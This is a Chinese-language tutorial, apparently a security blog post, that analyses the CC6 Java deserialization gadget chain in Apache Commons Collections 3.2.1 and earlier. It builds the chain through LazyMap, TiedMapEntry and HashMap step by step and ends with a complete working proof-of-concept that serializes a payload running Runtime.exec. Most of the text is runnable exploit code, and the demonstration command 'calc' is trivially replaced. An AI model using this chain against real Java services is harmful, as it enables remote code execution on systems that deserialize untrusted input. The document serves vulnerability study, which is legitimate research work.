Java反序列化漏洞-CC6链分析

CC6利用链分析

经过之前对CC1链和URLDNS链的分析，现在已经对反序列化利用链有了初步的认识，这次来分析一个最好用的CC利用链——CC6。

为什么CC6是最好用的CC利用链，因为CC6不限制jdk版本，只要commons collections 小于等于3.2.1，都存在这个漏洞。

前置知识

1. 回顾CC1

根据之前对CC1链的分析，可以知道用ChainedTransformer配合InvokerTransformer可以进行命令执行。具体原理请看我之前文章的第二节的1~4小节的内容。

Transformer[] transformers = {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(transformers);
ct.transform("1");

2. 高版本jdk的修改

在jdk8u_71之后，AnnotationInvocationHandler类被重写了，修改了readObject方法，里面没有了setValue方法。

这是jdk17.0.9的sun.reflect.annotation.AnnotationInvocationHandler#readObject的readObject方法

第593行新建了一个名为mv的LinkedHashMap，然后mv的数据在第597行开始通过for循环里面的逻辑给mv添加值，所有的操作都是基于这个新建的LinkedHashMap操作的，所以至此利用链就断开了，无法按照我们的预期进行，所以需要寻找新的利用链了。

寻找新利用链

1. LazyMap

右键查找ChainedTransformer的transform方法的用法，定位到LazyMap的get方法

LazyMap关键代码，可以通过LazyMap的get方法调用ChainedTransformer的transform方法

protected final Transformer factory;
public static Map decorate(Map map, Factory factory) {
    return new LazyMap(map, factory);
}
public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

可以通过decorate传值，生成一个LazyMap对象。

成功命令执行

Transformer[] transformers = {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), ct);
lazymap.get("1");

接下来继续寻找入口点

2. TiedMapEntry

ysoserial的作者找到了TiedMapEntry这条链，TiedMapEntry关键代码

public Object getValue() {
    return map.get(key);
}
public int hashCode() {
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^
           (value == null ? 0 : value.hashCode());
}

TiedMapEntry的hashCode方法调用了getValue，getValue调用了get方法，所以可以用TiedMapEntry的hashCode方法调用LazyMap的get方法

成功命令执行

Transformer[] transformers = {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), ct);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "key");
tiedMapEntry.hashCode();

接下来寻找谁调用了hashCode方法

3. HashMap

通过之前对URLDNS链的研究可知，HashMap的readObject方法有如下这行语句

putVal(hash(key), key, value, false, false);

而HashMap的hash方法调用了hashCode方法

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

而key的值是从readObject获取的

K key = (K) s.readObject();

序列化时可以用HashMap的put方法传key和value

hashMap.put(tiedMapEntry, "1");

但是HashMap的put方法会提前调用hash方法，导致提前走完流程

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

试一下HashMap.put

Transformer[] transformers = {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), ct);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "key");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "value");

调整利用链

1. HashMap的put

由于HashMap的put方法会导致提前调用hash方法，从而在序列化前就命令执行，所以这里修改一下代码。

这里选择在新建LazyMap对象的时候，随便传入一个Transformer对象，等put完之后再通过反射修改回ChainedTransformer对象。

Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "2");

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "3");

反射修改lazymap的factory的值

Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap, ct);

然后尝试进行序列化和反序列化

serial(hashMap);
unserial();

代码执行了，但是没有出现预期的命令执行弹出计算器，这是为什么呢？

2. LazyMap的get

HashMap的put方法调用了hash(key)，hash方法调用了key.hashCode()，进而执行tiedMapEntry.hashCode()方法，然后就会执行lazymap.get()

调试一下，定位到LazyMap的get方法，这里map.containsKey(key)是true，所以不会执行tramsform，从而不会命令执行。

可是我也没有给lazymap传入key为2的数据啊，这是为什么捏？

注意，问题还是LazyMap的get方法

序列化前的操作：如果map没包含这个key，那么就给map传入这个键值对。

这样就会导致反序列化时map里已经存在这个key了，所以不会执行factory.transform(key)，从而导致无法命令执行。

所以，我们需要在hashMap.put之后，把lazymap的ley删除掉

lazymap.remove("2");

利用链

HashMap.readObject()
HashMap.hash()
    TiedMapEntry.hashCode()
    TiedMapEntry.getValue()
        LazyMap.get()
            ChainedTransformer.transform()
                InvokerTransformer.transform()
                    Method.invoke()
                        Runtime.exec()

完整POC

至此，所有调整已经完成了

package zzy;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Blog {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer ct = new ChainedTransformer(transformers);
        Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "2");
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, "3");

        lazymap.remove("2");

        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazymap, ct);

        serial(hashMap);
        unserial();
    }

    public static void serial(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc6.bin"));
        out.writeObject(obj);
    }

    public static void unserial() throws IOException, ClassNotFoundException {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc6.bin"));
        in.readObject();
    }
}

命令执行成功